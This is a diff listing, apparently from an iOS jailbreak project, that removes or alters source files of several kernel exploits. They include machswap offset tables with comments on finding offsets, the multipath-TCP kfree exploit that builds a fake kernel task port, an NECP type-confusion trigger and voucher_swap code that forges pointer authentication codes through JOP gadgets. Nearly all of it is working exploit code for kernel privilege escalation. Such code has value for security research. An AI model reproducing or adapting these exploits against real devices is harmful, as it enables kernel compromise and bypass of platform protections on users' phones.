uint32_t task_itk_registered;
/*
joker -m kernel | grep 'task_info'
about halfway down the func, just before a _task_deallocate call, it will
load reg x0-x3, and then call a func
within that func there is a jumptable, you need to find case 17 (TASK_DYLD_INFO)
in here it will do two loads and stores, the first load is your _image_info_addr offset,
the second is your _image_info_size offset (however this should be the _info_addr offset +0x8)
image: https://i.imgur.com/WpG6Ub6.png
*/
uint32_t task_all_image_info_addr;
uint32_t task_all_image_info_size;
} struct_offsets;
struct {
/*
if IOSurface::create_surface fails, this offset being wrong is why
you can find the offset manually, but it's usually either
0x6c8 for 11.0.x, 0xbc8 for 11.1.x-11.4.x, or 0xdd0 for 12.x
*/
uint32_t create_outsize;
/*
iometa -Csov IOUserClient kernel | grep 'getExternalTrapForIndex'
take the index (usually 0x5b8) and divide by 0x8
*/
uint32_t get_external_trap_for_index;
} iosurface;
} machswap_offsets_t;
machswap_offsets_t *get_machswap_offsets(void);
#endif
-154
View File
@@ -1,154 +0,0 @@
#include <errno.h>
#include <string.h> // strcmp, strerror
#include <sys/utsname.h> // uname
#include "common.h" // LOG, kptr_t
#include "machswap_offsets.h"
static machswap_offsets_t *machswap_offsets[] =
{
&(machswap_offsets_t)
{
.constant =
{
.release = "18.",
.cpu_subtype = CPU_SUBTYPE_ARM64E,
.kernel_image_base = 0xfffffff007004000,
},
.struct_offsets =
{
.proc_pid = 0x60,
.proc_task = 0x10,
.proc_ucred = 0xf8,
.task_vm_map = 0x20,
.task_bsd_info = 0x368,
.task_itk_self = 0xd8,
.task_itk_registered = 0x2e8,
.task_all_image_info_addr = 0x3a8,
.task_all_image_info_size = 0x3b0,
},
.iosurface =
{
.create_outsize = 0xdd0,
.get_external_trap_for_index = 0xb7,
},
},
&(machswap_offsets_t)
{
.constant =
{
.release = "18.",
.cpu_subtype = CPU_SUBTYPE_ARM64_V8,
.kernel_image_base = 0xfffffff007004000,
},
.struct_offsets =
{
.proc_pid = 0x60,
.proc_task = 0x10,
.proc_ucred = 0xf8,
.task_vm_map = 0x20,
.task_bsd_info = 0x358,
.task_itk_self = 0xd8,
.task_itk_registered = 0x2e8,
.task_all_image_info_addr = 0x398,
.task_all_image_info_size = 0x3a0,
},
.iosurface =
{
.create_outsize = 0xdd0,
.get_external_trap_for_index = 0xb7,
},
},
&(machswap_offsets_t)
{
.constant =
{
.release = "17.",
.cpu_subtype = CPU_SUBTYPE_ARM_ALL,
.kernel_image_base = 0xfffffff007004000,
},
.struct_offsets =
{
.proc_pid = 0x10,
.proc_task = 0x18,
.proc_ucred = 0x100,
.task_vm_map = 0x20,
.task_bsd_info = 0x368,
.task_itk_self = 0xd8,
.task_itk_registered = 0x2f0,
.task_all_image_info_addr = 0x3a8,
.task_all_image_info_size = 0x3b0,
},
.iosurface =
{
.create_outsize = 0xbc8,
.get_external_trap_for_index = 0xb7,
},
},
NULL,
};
#include <sys/types.h>
#include <sys/sysctl.h>
#include <mach/machine.h>
machswap_offsets_t *get_machswap_offsets(void)
{
size_t size;
cpu_type_t cpu_type;
size = sizeof(cpu_type_t);
if (sysctlbyname("hw.cputype", &cpu_type, &size, NULL, 0) == -1) {
LOG("hw.cputype: %s", strerror(errno));
return NULL;
}
cpu_subtype_t cpu_subtype;
size = sizeof(cpu_subtype_t);
if (sysctlbyname("hw.cpusubtype", &cpu_subtype, &size, NULL, 0) == -1) {
LOG("hw.cpusubtype: %s", strerror(errno));
return NULL;
}
int ctl[2];
ctl[0] = CTL_KERN;
ctl[1] = KERN_OSRELEASE;
if (sysctl(ctl, 2, NULL, &size, NULL, 0) == -1 && errno != ENOMEM) {
LOG("kern.osrelease: %s", strerror(errno));
return NULL;
}
char release[size];
if (sysctl(ctl, 2, release, &size, NULL, 0) == -1) {
LOG("kern.osrelease: %s", strerror(errno));
return NULL;
}
for (size_t i = 0; machswap_offsets[i] != 0; ++i)
{
if (strncmp(machswap_offsets[i]->constant.release, release, strlen(machswap_offsets[i]->constant.release)) == 0)
{
if (machswap_offsets[i]->constant.cpu_subtype == cpu_subtype ||
machswap_offsets[i]->constant.cpu_subtype == CPU_SUBTYPE_ARM_ALL) {
return machswap_offsets[i];
}
}
}
ctl[1] = KERN_VERSION;
if (sysctl(ctl, 2, NULL, &size, NULL, 0) == -1 && errno != ENOMEM) {
LOG("kern.version: %s", strerror(errno));
return NULL;
}
char version[size];
if (sysctl(ctl, 2, version, &size, NULL, 0) == -1) {
LOG("kern.version: %s", strerror(errno));
return NULL;
}
LOG("Failed to get offsets for kernel version: %s", version);
return NULL;
}
-11
View File
@@ -1,11 +0,0 @@
#ifndef MACHSWAP_PWN_H
#define MACHSWAP_PWN_H
#include <mach/mach.h>
#include "common.h"
#include "machswap_offsets.h"
kern_return_t machswap_exploit(machswap_offsets_t *offsets);
#endif
File diff suppressed because it is too large Load Diff
+32 -38
View File
@@ -14,7 +14,7 @@
#include <pthread.h>
#include "KernelMemory.h"
#include "KernelOffsets.h"
#include "KernelStructureOffsets.h"
#include "KernelUtilities.h"
#include <common.h>
@@ -38,7 +38,7 @@ kern_return_t mach_vm_read_overwrite(
mach_vm_address_t data,
mach_vm_size_t* outsize);
static void increase_limits()
void increase_limits()
{
struct rlimit lim = { 0 };
int err = getrlimit(RLIMIT_NOFILE, &lim);
@@ -66,7 +66,7 @@ static void increase_limits()
}
#define AF_MULTIPATH 39
static int alloc_mptcp_socket()
int alloc_mptcp_socket()
{
int sock = socket(AF_MULTIPATH, SOCK_STREAM, 0);
if (sock < 0) {
@@ -77,7 +77,7 @@ static int alloc_mptcp_socket()
return sock;
}
static void do_partial_kfree_with_socket(int fd, uint64_t kaddr, uint32_t n_bytes)
void do_partial_kfree_with_socket(int fd, uint64_t kaddr, uint32_t n_bytes)
{
struct sockaddr* sockaddr_src = malloc(256);
memset(sockaddr_src, 'D', 256);
@@ -116,15 +116,15 @@ static void do_partial_kfree_with_socket(int fd, uint64_t kaddr, uint32_t n_byte
return;
}
static char* aaaas = NULL;
char* aaaas = NULL;
static int read_fds[10000] = { 0 };
static int write_fds[10000] = { 0 };
static int next_read_fd = 0;
int read_fds[10000] = { 0 };
int write_fds[10000] = { 0 };
int next_read_fd = 0;
#define PIPE_SIZE 0x7ff
static int alloc_and_fill_pipe()
int alloc_and_fill_pipe()
{
int fds[2] = { 0 };
int err = pipe(fds);
@@ -155,7 +155,7 @@ static int alloc_and_fill_pipe()
return read_end; // the buffer is actually hanging off the read end struct pipe
}
static int find_replacer_pipe(void** contents)
int find_replacer_pipe(void** contents)
{
uint64_t* read_back = malloc(PIPE_SIZE);
for (int i = 0; i < next_read_fd; i++) {
@@ -183,7 +183,7 @@ static int find_replacer_pipe(void** contents)
return -1;
}
static mach_port_t fake_kalloc(int size)
mach_port_t fake_kalloc(int size)
{
mach_port_t port = MACH_PORT_NULL;
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
@@ -221,7 +221,7 @@ static mach_port_t fake_kalloc(int size)
return port;
}
static void fake_kfree(mach_port_t port)
void fake_kfree(mach_port_t port)
{
mach_port_destroy(mach_task_self(), port);
}
@@ -276,7 +276,7 @@ static void build_fake_task_port(uint8_t* fake_port, uint64_t fake_port_kaddr, u
*/
// size is desired kalloc size for message
static mach_port_t prealloc_port(natural_t size)
mach_port_t prealloc_port(natural_t size)
{
kern_return_t err;
mach_port_qos_t qos = { 0 };
@@ -299,9 +299,9 @@ static mach_port_t prealloc_port(natural_t size)
return (mach_port_t)name;
}
static mach_port_t extracted_thread_port = MACH_PORT_NULL;
mach_port_t extracted_thread_port = MACH_PORT_NULL;
static kern_return_t catch_exception_raise_state_identity(
kern_return_t catch_exception_raise_state_identity(
mach_port_t exception_port,
mach_port_t thread,
mach_port_t task,
@@ -329,11 +329,7 @@ static kern_return_t catch_exception_raise_state_identity(
*new_stateCnt = old_stateCnt;
#if __DARWIN_OPAQUE_ARM_THREAD_STATE64
new->__opaque_pc = (uint64_t)pthread_exit;
#else
new->__pc = (uint64_t)pthread_exit;
#endif
new->__x[0] = 0;
// let the thread resume and exit
@@ -347,28 +343,24 @@ union max_msg {
extern boolean_t exc_server(mach_msg_header_t* InHeadP, mach_msg_header_t* OutHeadP);
static void* do_thread(void* arg)
void* do_thread(void* arg)
{
mach_port_t exception_port = (mach_port_t)arg;
kern_return_t err;
thread_t thread = mach_thread_self();
err = thread_set_exception_ports(
thread,
mach_thread_self(),
EXC_MASK_ALL,
exception_port,
EXCEPTION_STATE_IDENTITY, // catch_exception_raise_state_identity messages
ARM_THREAD_STATE64);
mach_port_deallocate(mach_task_self(), thread);
if (err != KERN_SUCCESS) {
LOG("failed to set exception port");
}
// make the thread port which gets sent in the message actually be the host port
host_t host = mach_host_self();
err = thread_set_special_port(host, THREAD_KERNEL_PORT, host);
mach_port_deallocate(mach_task_self(), host);
err = thread_set_special_port(mach_thread_self(), THREAD_KERNEL_PORT, mach_host_self());
if (err != KERN_SUCCESS) {
LOG("failed to set THREAD_KERNEL_PORT");
}
@@ -380,12 +372,12 @@ static void* do_thread(void* arg)
return NULL;
}
static void prepare_prealloc_port(mach_port_t port)
void prepare_prealloc_port(mach_port_t port)
{
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
}
static int port_has_message(mach_port_t port)
int port_has_message(mach_port_t port)
{
kern_return_t err;
mach_port_seqno_t msg_seqno = 0;
@@ -406,7 +398,7 @@ static int port_has_message(mach_port_t port)
}
// we need a send right for port
static void send_prealloc_msg(mach_port_t port)
void send_prealloc_msg(mach_port_t port)
{
// start a new thread passing it the buffer and the exception port
pthread_t t;
@@ -428,7 +420,7 @@ static void send_prealloc_msg(mach_port_t port)
// receive the exception message on the port and extract the thread port
// which we will have overwritten with a pointer to the initial kernel r/w port
static mach_port_t receive_prealloc_msg(mach_port_t port)
mach_port_t receive_prealloc_msg(mach_port_t port)
{
kern_return_t err = mach_msg_server_once(exc_server,
sizeof(union max_msg),
@@ -445,9 +437,9 @@ static mach_port_t receive_prealloc_msg(mach_port_t port)
return extracted_thread_port;
}
static uint64_t early_read_pipe_buffer_kaddr;
static int early_read_pipe_read_end;
static int early_read_pipe_write_end;
uint64_t early_read_pipe_buffer_kaddr;
int early_read_pipe_read_end;
int early_read_pipe_write_end;
static mach_port_t early_read_port;
static mach_port_t prepare_early_read_primitive(uint64_t pipe_buffer_kaddr, int pipe_read_end, int pipe_write_end, mach_port_t replacer_port, uint8_t* original_contents)
@@ -503,7 +495,7 @@ static uint32_t early_rk32(uint64_t kaddr)
LOG("pid_for_task returned %x", err);
}
LOG("read val via pid_for_task: %08x", val);
SafeFreeNULL(pipe_contents);
free(pipe_contents);
return val;
}
@@ -517,7 +509,7 @@ static uint64_t early_rk64(uint64_t kaddr)
// yes, this isn't the real kernel task port
// but you can modify the exploit easily to give you that if you want it!
static mach_port_t prepare_tfp0(uint64_t vm_map, uint64_t receiver)
mach_port_t prepare_tfp0(uint64_t vm_map, uint64_t receiver)
{
uint8_t* pipe_contents = malloc(PIPE_SIZE);
ssize_t amount = read(early_read_pipe_read_end, pipe_contents, PIPE_SIZE);
@@ -533,7 +525,7 @@ static mach_port_t prepare_tfp0(uint64_t vm_map, uint64_t receiver)
// replace the ipc_kmsg:
write(early_read_pipe_write_end, pipe_contents, PIPE_SIZE);
SafeFreeNULL(pipe_contents);
free(pipe_contents);
// early_read_port is no longer only capable of reads!
return early_read_port;
@@ -541,6 +533,8 @@ static mach_port_t prepare_tfp0(uint64_t vm_map, uint64_t receiver)
bool mptcp_go()
{
offsets_init();
// increase the limit on the number of open files:
increase_limits();
@@ -723,7 +717,7 @@ bool mptcp_go()
uint64_t host_port_kaddr = *((uint64_t*)(new_contents + 0x66c));
// we can also find our task port kaddr:
uint64_t task_port_kaddr = cached_task_self_addr = *((uint64_t*)(new_contents + 0x67c));
uint64_t task_port_kaddr = *((uint64_t*)(new_contents + 0x67c));
mach_port_t kport = prepare_early_read_primitive(pipe_buf, replacer_pipe, replacer_pipe + 1, replacer_port, new_contents);
-16
View File
@@ -1,16 +0,0 @@
#include "necp.h"
#include <sys/syscall.h>
#include <common.h>
// https://blogs.projectmoon.pw/2018/11/30/A-Late-Kernel-Bug-Type-Confusion-in-NECP/NECPTypeConfusion.c
int necp_die() {
int necp_fd = syscall(SYS_necp_open, 0);
if (necp_fd < 0) {
LOG("Create NECP client failed!");
return 0;
}
LOG("NECP client = %d", necp_fd);
syscall(SYS_necp_session_action, necp_fd, 1, 0x1234, 0x5678);
return 0;
}
-8
View File
@@ -1,8 +0,0 @@
#ifndef necp_h
#define necp_h
#include <stdio.h>
int necp_die(void);
#endif /* necp_h */
-272
View File
@@ -1,272 +0,0 @@
/*
* kernel_call/pac.c
* Brandon Azad
*/
#include "pac.h"
#include "kernel_call.h"
#include "kc_parameters.h"
#include "user_client.h"
#include "kernel_memory.h"
#include "log.h"
#include "mach_vm.h"
#include "parameters.h"
#if __arm64e__
// ---- Global variables --------------------------------------------------------------------------
// The address of our kernel buffer.
static uint64_t kernel_pacxa_buffer;
// The forged value PACIZA('mov x0, x4 ; br x5').
static uint64_t paciza__mov_x0_x4__br_x5;
// ---- Stage 2 -----------------------------------------------------------------------------------
/*
* stage1_kernel_call_7
*
* Description:
* Call a kernel function using our stage 1 execute primitive with explicit registers.
*
* See stage1_kernel_call_7v.
*/
static uint32_t
stage1_kernel_call_7(uint64_t function, uint64_t x1, uint64_t x2, uint64_t x3,
uint64_t x4, uint64_t x5, uint64_t x6) {
uint64_t arguments[7] = { 1, x1, x2, x3, x4, x5, x6 };
return stage1_kernel_call_7v(function, 7, arguments);
}
/*
* stage1_init_kernel_pacxa_forging
*
* Description:
* Initialize our stage 1 capability to forge PACIA and PACDA pointers.
*/
static void
stage1_init_kernel_pacxa_forging() {
// Get the authorized pointers to l2tp_domain_module_start() and l2tp_domain_module_stop().
// Because these values already contain the PACIZA code, we can call them with the stage 0
// call primitive to start/stop the module.
uint64_t paciza__l2tp_domain_module_start = kernel_read64(
ADDRESS(paciza_pointer__l2tp_domain_module_start));
uint64_t paciza__l2tp_domain_module_stop = kernel_read64(
ADDRESS(paciza_pointer__l2tp_domain_module_stop));
// Read out the original value of sysctl__net_ppp_l2tp__data.
uint8_t sysctl__net_ppp_l2tp__data[SIZE(sysctl_oid)];
kernel_read(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
// Create a fake sysctl_oid for sysctl_unregister_oid(). We craft this sysctl_oid such that
// sysctl_unregister_oid() will execute the following instruction sequence:
//
// LDR X10, [X9,#0x30]! ; X10 = old_oidp->oid_handler
// CBNZ X19, loc_FFFFFFF007EBD330
// CBZ X10, loc_FFFFFFF007EBD330
// MOV X19, #0
// MOV X11, X9 ; X11 = &old_oidp->oid_handler
// MOVK X11, #0x14EF,LSL#48 ; X11 = 14EF`&oid_handler
// AUTIA X10, X11 ; X10 = AUTIA(handler, 14EF`&handler)
// PACIZA X10 ; X10 = PACIZA(X10)
// STR X10, [X9] ; old_oidp->oid_handler = X10
//
uint8_t fake_sysctl_oid[SIZE(sysctl_oid)];
memset(fake_sysctl_oid, 0xab, SIZE(sysctl_oid));
FIELD(fake_sysctl_oid, sysctl_oid, oid_parent, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_link);
FIELD(fake_sysctl_oid, sysctl_oid, oid_link, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp);
FIELD(fake_sysctl_oid, sysctl_oid, oid_kind, uint32_t) = 0x400000;
FIELD(fake_sysctl_oid, sysctl_oid, oid_handler, uint64_t) = ADDRESS(mov_x0_x4__br_x5);
FIELD(fake_sysctl_oid, sysctl_oid, oid_version, uint32_t) = 1;
FIELD(fake_sysctl_oid, sysctl_oid, oid_refcnt, uint32_t) = 0;
// Overwrite sysctl__net_ppp_l2tp with our fake sysctl_oid.
kernel_write(ADDRESS(sysctl__net_ppp_l2tp), fake_sysctl_oid, SIZE(sysctl_oid));
// Call l2tp_domain_module_stop() to trigger sysctl_unregister_oid() on our fake
// sysctl_oid, which will PACIZA our pointer to the "mov x0, x4 ; br x5" gadget.
__unused uint32_t ret;
ret = stage1_kernel_call_7(
paciza__l2tp_domain_module_stop, // PC
0, 0, 0, 0, 0, 0); // X1 - X6
DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
"l2tp_domain_module_stop", ret,
kernel_read32(ADDRESS(l2tp_domain_inited)));
// Read back the PACIZA'd pointer to the 'mov x0, x4 ; br x5' gadget. This pointer will not
// be exactly correct, since it PACIZA'd an AUTIA'd pointer we didn't sign. But we can use
// this value to reconstruct the correct PACIZA'd pointer.
uint64_t handler = kernel_read64(
ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_handler));
paciza__mov_x0_x4__br_x5 = handler ^ (1uLL << (63 - 1));
DEBUG_TRACE(1, "PACIZA(%s) = 0x%016llx", "'mov x0, x4 ; br x5'", paciza__mov_x0_x4__br_x5);
// Now write back the original sysctl_oid and call sysctl_unregister_oid() to clean it up.
kernel_write(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
ret = stage1_kernel_call_7(
paciza__mov_x0_x4__br_x5, // PC
0, 0, 0, // X1 - X3
ADDRESS(sysctl__net_ppp_l2tp), // X4
ADDRESS(sysctl_unregister_oid), // X5
0); // X6
DEBUG_TRACE(2, "%s(%016llx) = 0x%08x", "sysctl_unregister_oid",
ADDRESS(sysctl__net_ppp_l2tp), ret);
// And finally call l2tp_domain_module_start() to re-initialize the module.
ret = stage1_kernel_call_7(
paciza__l2tp_domain_module_start, // PC
0, 0, 0, 0, 0, 0); // X1 - X6
DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
"l2tp_domain_module_start", ret,
kernel_read32(ADDRESS(l2tp_domain_inited)));
// Alright, so now we have an arbitrary call gadget!
kernel_pacxa_buffer = stage1_get_kernel_buffer();
}
// ---- Stage 2 -----------------------------------------------------------------------------------
/*
* stage2_kernel_forge_pacxa
*
* Description:
* Forge a PACIA or PACDA pointer using the kernel forging gadgets.
*/
static uint64_t
stage2_kernel_forge_pacxa(uint64_t address, uint64_t context, bool instruction) {
const size_t pacxa_buffer_size = SIZE(kernel_forge_pacxa_gadget_buffer);
const size_t pacxa_buffer_offset = OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
// Initialize the kernel_pacxa_buffer to be all zeros.
uint8_t pacxa_buffer[pacxa_buffer_size - pacxa_buffer_offset];
memset(pacxa_buffer, 0, sizeof(pacxa_buffer));
kernel_write(kernel_pacxa_buffer, pacxa_buffer, sizeof(pacxa_buffer));
// The buffer address we pass to the gadget is offset from the part of that we initialize
// (to save us some space). The result is stored at different offsets in the buffer
// depending on whether the operation is PACIA or PACDA.
uint64_t buffer_address = kernel_pacxa_buffer - pacxa_buffer_offset;
uint64_t result_address = buffer_address;
uint64_t pacxa_gadget;
if (instruction) {
result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
pacxa_gadget = ADDRESS(kernel_forge_pacia_gadget);
} else {
result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
pacxa_gadget = ADDRESS(kernel_forge_pacda_gadget);
}
// We need to set:
//
// x2 = buffer_address
// x9 = address
// x10 = context
//
// In order to do that we'll execute the following JOP sequence before jumping to the
// gadget:
//
// mov x0, x4 ; br x5
// mov x9, x0 ; br x1
// mov x10, x3 ; br x6
//
__unused uint32_t ret;
ret = stage1_kernel_call_7(
paciza__mov_x0_x4__br_x5, // PC
ADDRESS(mov_x10_x3__br_x6), // X1
buffer_address, // X2
context, // X3
address, // X4
ADDRESS(mov_x9_x0__br_x1), // X5
pacxa_gadget); // X6
DEBUG_TRACE(2, "%s_GADGET(): 0x%08x", (instruction ? "PACIA" : "PACDA"), ret);
// Now recover the PACXA'd value.
uint64_t pacxa = kernel_read64(result_address);
return pacxa;
}
/*
* xpaci
*
* Description:
* Strip a PACIx code from a pointer.
*/
static uint64_t
xpaci(uint64_t pointer) {
asm("xpaci %[value]\n" : [value] "+r"(pointer));
return pointer;
}
/*
* xpacd
*
* Description:
* Strip a PACDx code from a pointer.
*/
static uint64_t
xpacd(uint64_t pointer) {
asm("xpacd %[value]\n" : [value] "+r"(pointer));
return pointer;
}
#endif // __arm64e__
// ---- API ---------------------------------------------------------------------------------------
bool
stage2_kernel_call_init() {
#if __arm64e__
stage1_init_kernel_pacxa_forging();
#endif
return true;
}
void
stage2_kernel_call_deinit() {
}
uint32_t
stage2_kernel_call_7v(uint64_t function,
size_t argument_count, const uint64_t arguments[]) {
uint64_t paciza_function = kernel_forge_pacia(function, 0);
return stage1_kernel_call_7v(paciza_function, argument_count, arguments);
}
uint64_t
kernel_forge_pacia(uint64_t pointer, uint64_t context) {
#if __arm64e__
return stage2_kernel_forge_pacxa(pointer, context, true);
#else
return pointer;
#endif
}
uint64_t
kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type) {
uint64_t context = ((uint64_t) type << 48) | (address & 0x0000ffffffffffff);
return kernel_forge_pacia(pointer, context);
}
uint64_t
kernel_forge_pacda(uint64_t pointer, uint64_t context) {
#if __arm64e__
return stage2_kernel_forge_pacxa(pointer, context, false);
#else
return pointer;
#endif
}
uint64_t
kernel_xpaci(uint64_t pointer) {
#if __arm64e__
return xpaci(pointer);
#else
return pointer;
#endif
}
uint64_t
kernel_xpacd(uint64_t pointer) {
#if __arm64e__
return xpacd(pointer);
#else
return pointer;
#endif
}
-48
View File
@@ -1,48 +0,0 @@
/*
* kernel_call/pac.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__KERNEL_CALL__PAC_H_
#define VOUCHER_SWAP__KERNEL_CALL__PAC_H_
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
/*
* stage2_kernel_call_init
*
* Description:
* Initialize stage 2 of kernel function calling.
*
* Initializes:
* stage2_kernel_call_7v()
* kernel_forge_pacia()
* kernel_forge_pacia_with_type()
* kernel_forge_pacda()
*/
bool stage2_kernel_call_init(void);
/*
* stage2_kernel_call_deinit
*
* Description:
* Deinitialize stage 2 of kernel function calling.
*/
void stage2_kernel_call_deinit(void);
/*
* stage2_kernel_call_7v
*
* Description:
* Call a kernel function using our stage 2 execute primitive.
*
* Restrictions:
* At most 7 arguments can be passed.
* The return value is truncated to 32 bits.
* At stage 2, only arguments X1 - X6 are controlled.
*/
uint32_t stage2_kernel_call_7v(uint64_t function,
size_t argument_count, const uint64_t arguments[]);
#endif
-208
View File
@@ -1,208 +0,0 @@
/*
* parameters.c
* Brandon Azad
*/
#define PARAMETERS_EXTERN
#include "parameters.h"
#include <assert.h>
#include <stdbool.h>
#include <string.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>
#include "log.h"
#include "platform.h"
#include "platform_match.h"
// ---- Initialization routines -------------------------------------------------------------------
// A struct describing an initialization.
struct initialization {
const char *devices;
const char *builds;
void (*init)(void);
};
// Run initializations matching this platform.
static size_t
run_initializations(struct initialization *inits, size_t count) {
size_t match_count = 0;
for (size_t i = 0; i < count; i++) {
struct initialization *init = &inits[i];
if (platform_matches(init->devices, init->builds)) {
init->init();
match_count++;
}
}
return match_count;
}
// A helper macro to get the number of elements in a static array.
#define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
// ---- General system parameters -----------------------------------------------------------------
// Initialization for general system parameters.
static void
init__system_parameters() {
STATIC_ADDRESS(kernel_base) = 0xFFFFFFF007004000;
kernel_slide_step = 0x200000;
message_size_for_kmsg_zone = 76;
kmsg_zone_size = 256;
max_ool_ports_per_message = 16382;
gc_step = 2 * MB;
}
// A list of general system parameter initializations by platform.
static struct initialization system_parameters[] = {
{ "*", "*", init__system_parameters },
};
// ---- Offset initialization ---------------------------------------------------------------------
// Initialization for iPhone11,8 16C50 (and similar devices).
static void
offsets__iphone11_8__16C50() {
SIZE(ipc_entry) = 0x18;
OFFSET(ipc_entry, ie_object) = 0;
OFFSET(ipc_entry, ie_bits) = 8;
OFFSET(ipc_entry, ie_request) = 16;
SIZE(ipc_port) = 0xa8;
BLOCK_SIZE(ipc_port) = 0x4000;
OFFSET(ipc_port, ip_bits) = 0;
OFFSET(ipc_port, ip_references) = 4;
OFFSET(ipc_port, waitq_flags) = 24;
OFFSET(ipc_port, imq_messages) = 64;
OFFSET(ipc_port, imq_msgcount) = 80;
OFFSET(ipc_port, imq_qlimit) = 82;
OFFSET(ipc_port, ip_receiver) = 96;
OFFSET(ipc_port, ip_kobject) = 104;
OFFSET(ipc_port, ip_nsrequest) = 112;
OFFSET(ipc_port, ip_requests) = 128;
OFFSET(ipc_port, ip_mscount) = 156;
OFFSET(ipc_port, ip_srights) = 160;
SIZE(ipc_port_request) = 0x10;
OFFSET(ipc_port_request, ipr_soright) = 0;
OFFSET(ipc_space, is_table_size) = 0x14;
OFFSET(ipc_space, is_table) = 0x20;
SIZE(ipc_voucher) = 0x50;
BLOCK_SIZE(ipc_voucher) = 0x4000;
OFFSET(proc, p_pid) = 0x60;
OFFSET(proc, p_ucred) = 0xf8;
SIZE(sysctl_oid) = 0x50;
OFFSET(sysctl_oid, oid_parent) = 0x0;
OFFSET(sysctl_oid, oid_link) = 0x8;
OFFSET(sysctl_oid, oid_kind) = 0x14;
OFFSET(sysctl_oid, oid_handler) = 0x30;
OFFSET(sysctl_oid, oid_version) = 0x48;
OFFSET(sysctl_oid, oid_refcnt) = 0x4c;
OFFSET(task, lck_mtx_type) = 0xb;
OFFSET(task, ref_count) = 0x10;
OFFSET(task, active) = 0x14;
OFFSET(task, map) = 0x20;
OFFSET(task, itk_space) = 0x300;
OFFSET(task, bsd_info) = 0x368;
}
// Initialization for iPhone10,1 16B92 (and similar devices).
static void
offsets__iphone10_1__16B92() {
offsets__iphone11_8__16C50();
OFFSET(task, bsd_info) = 0x358;
}
// Initialization for iPhone10,1 16B92 (and similar devices).
static void
offsets__iphone9_3__15E302() {
SIZE(ipc_entry) = 0x18;
OFFSET(ipc_entry, ie_object) = 0;
OFFSET(ipc_entry, ie_bits) = 8;
OFFSET(ipc_entry, ie_request) = 16;
SIZE(ipc_port) = 0xa8;
BLOCK_SIZE(ipc_port) = 0x4000;
OFFSET(ipc_port, ip_bits) = 0;
OFFSET(ipc_port, ip_references) = 4;
OFFSET(ipc_port, waitq_flags) = 24;
OFFSET(ipc_port, imq_messages) = 0x40;
OFFSET(ipc_port, imq_msgcount) = 0x50;
OFFSET(ipc_port, imq_qlimit) = 0x52;
OFFSET(ipc_port, ip_receiver) = 0x60;
OFFSET(ipc_port, ip_kobject) = 0x68;
OFFSET(ipc_port, ip_nsrequest) = 0x70;
OFFSET(ipc_port, ip_requests) = 0x80;
OFFSET(ipc_port, ip_mscount) = 0x9c;
OFFSET(ipc_port, ip_srights) = 0xa0;
SIZE(ipc_port_request) = 0x10;
OFFSET(ipc_port_request, ipr_soright) = 0;
OFFSET(ipc_space, is_table_size) = 0x14;
OFFSET(ipc_space, is_table) = 0x20;
SIZE(ipc_voucher) = 0x50;
BLOCK_SIZE(ipc_voucher) = 0x4000;
OFFSET(proc, p_pid) = 0x10;
OFFSET(proc, p_ucred) = 0x100;
SIZE(sysctl_oid) = 0x50;
OFFSET(sysctl_oid, oid_parent) = 0x0;
OFFSET(sysctl_oid, oid_link) = 0x8;
OFFSET(sysctl_oid, oid_kind) = 0x14;
OFFSET(sysctl_oid, oid_handler) = 0x30;
OFFSET(sysctl_oid, oid_version) = 0x48;
OFFSET(sysctl_oid, oid_refcnt) = 0x4c;
OFFSET(task, lck_mtx_type) = 0xb;
OFFSET(task, ref_count) = 0x10;
OFFSET(task, active) = 0x14;
OFFSET(task, map) = 0x20;
OFFSET(task, itk_space) = 0x308;
OFFSET(task, bsd_info) = 0x368;
}
// Initialize offset parameters whose values are computed from other parameters.
static void
initialize_computed_offsets() {
COUNT_PER_BLOCK(ipc_port) = BLOCK_SIZE(ipc_port) / SIZE(ipc_port);
COUNT_PER_BLOCK(ipc_voucher) = BLOCK_SIZE(ipc_voucher) / SIZE(ipc_voucher);
}
// A list of offset initializations by platform.
static struct initialization offsets[] = {
{ "*", "15A5278f-15G77", offsets__iphone9_3__15E302 },
{ "*", "16A366-16D5024a", offsets__iphone10_1__16B92 },
{ "iPhone11,*", "16A366-16D5024a", offsets__iphone11_8__16C50 },
{ "iPad8,*", "16A366-16D5024a", offsets__iphone11_8__16C50 },
{ "*", "*", initialize_computed_offsets },
};
// The minimum number of offsets that must match in order to declare a platform initialized.
static const size_t min_offsets = 2;
// ---- Public API --------------------------------------------------------------------------------
bool
parameters_init() {
// Get general platform info.
platform_init();
// Initialize general system parameters.
run_initializations(system_parameters, ARRAY_COUNT(system_parameters));
// Initialize offsets.
size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
if (count < min_offsets) {
ERROR("no offsets for %s %s", platform.machine, platform.osversion);
return false;
}
return true;
}
-128
View File
@@ -1,128 +0,0 @@
/*
* parameters.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__PARAMETERS_H_
#define VOUCHER_SWAP__PARAMETERS_H_
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#ifdef PARAMETERS_EXTERN
#define extern PARAMETERS_EXTERN
#endif
// Some helpful units.
#define KB (1024uLL)
#define MB (1024uLL * KB)
#define GB (1024uLL * MB)
// Generate the name for an offset.
#define OFFSET(base_, object_) _##base_##__##object_##__offset_
// Generate the name for the size of an object.
#define SIZE(object_) _##object_##__size_
// Generate the name for the size of a zalloc block of objects.
#define BLOCK_SIZE(object_) _##object_##__block_size_
// Generate the name for the number of elements in a zalloc block.
